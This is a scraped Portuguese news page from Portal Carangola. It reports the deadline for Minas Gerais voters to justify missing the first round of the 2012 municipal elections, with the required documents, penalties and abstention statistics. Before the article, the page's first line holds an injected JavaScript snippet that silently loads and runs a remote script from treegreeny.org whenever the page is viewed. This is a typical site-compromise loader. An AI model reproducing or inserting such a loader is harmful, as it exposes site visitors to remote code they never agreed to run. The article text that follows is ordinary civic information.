;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Termina nesta quinta-feira (06) o prazo para eleitor justificar ausência nas eleições. - Portal Carangola

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Termina nesta quinta-feira (06) o prazo para eleitor justificar ausência nas eleições.

Termina na quinta-feira (06) o prazo para o eleitor que não votou, nem justificou sua ausência ao primeiro turno das eleições municipais deste ano – realizado no dia 7 de outubro – regularizar sua situação perante a Justiça Eleitoral.
O eleitor nessa situação deve procurar, preferencialmente, o cartório eleitoral em que está inscrito para apresentar a sua justificativa. Se estiver em dia com todas as obrigações eleitorais, receberá uma certidão de quitação eleitoral.
Além de um documento que justifique sua ausência, o eleitor deve apresentar um documento de identidade e o título. Segundo a legislação, ficará isento do pagamento de multa o eleitor que tiver sua justificativa – apresentada dentro do prazo estipulado em lei – aceita pelo juiz eleitoral.

Para quem estava fora do país

Quem estava fora do país e não pôde votar, tem 30 dias – após seu retorno ao Brasil – para regularizar sua situação, de preferência junto ao seu cartório eleitoral, devendo apresentar passagem e passaporte (com respectivas anotações das datas das viagens) ao juiz da zona eleitoral em que está inscrito, para comprovar o período em que esteve ausente do país.

Punições

A Justiça Eleitoral mineira esclarece que os eleitores que não votaram nem justificaram sua ausência durante três turnos consecutivos (considera-se cada turno uma eleição) podem ter seus títulos cancelados automaticamente.
Quem está em débito com a Justiça Eleitoral está sujeito a uma série de penalidades, tais como não tirar passaporte ou CPF, matricular-se em instituição oficial de ensino, e não receber o salário (no caso de servidor público), dentre outras.
Os endereços dos cartórios eleitorais do Estado estão disponíveis no sítio do TRE-MG na internet (www.tre-mg.jus.br, em “Zonas Eleitorais”), ou ainda no “Disque-Eleitor”: (31)3291-0004 ou 148.

Abstenções

Com relação às abstenções no primeiro turno em Minas, o percentual, em 2012, foi de 16,32%, de um eleitorado de 15.019.136 (o comparecimento às urnas foi de 83,64% – 12.562.386 eleitores); já nas eleições de 2008, esse número foi de 14, 33%. Quanto às justificativas recebidas pelos mesários em todo o Estado, no primeiro turno, o número chegou a 47.184.
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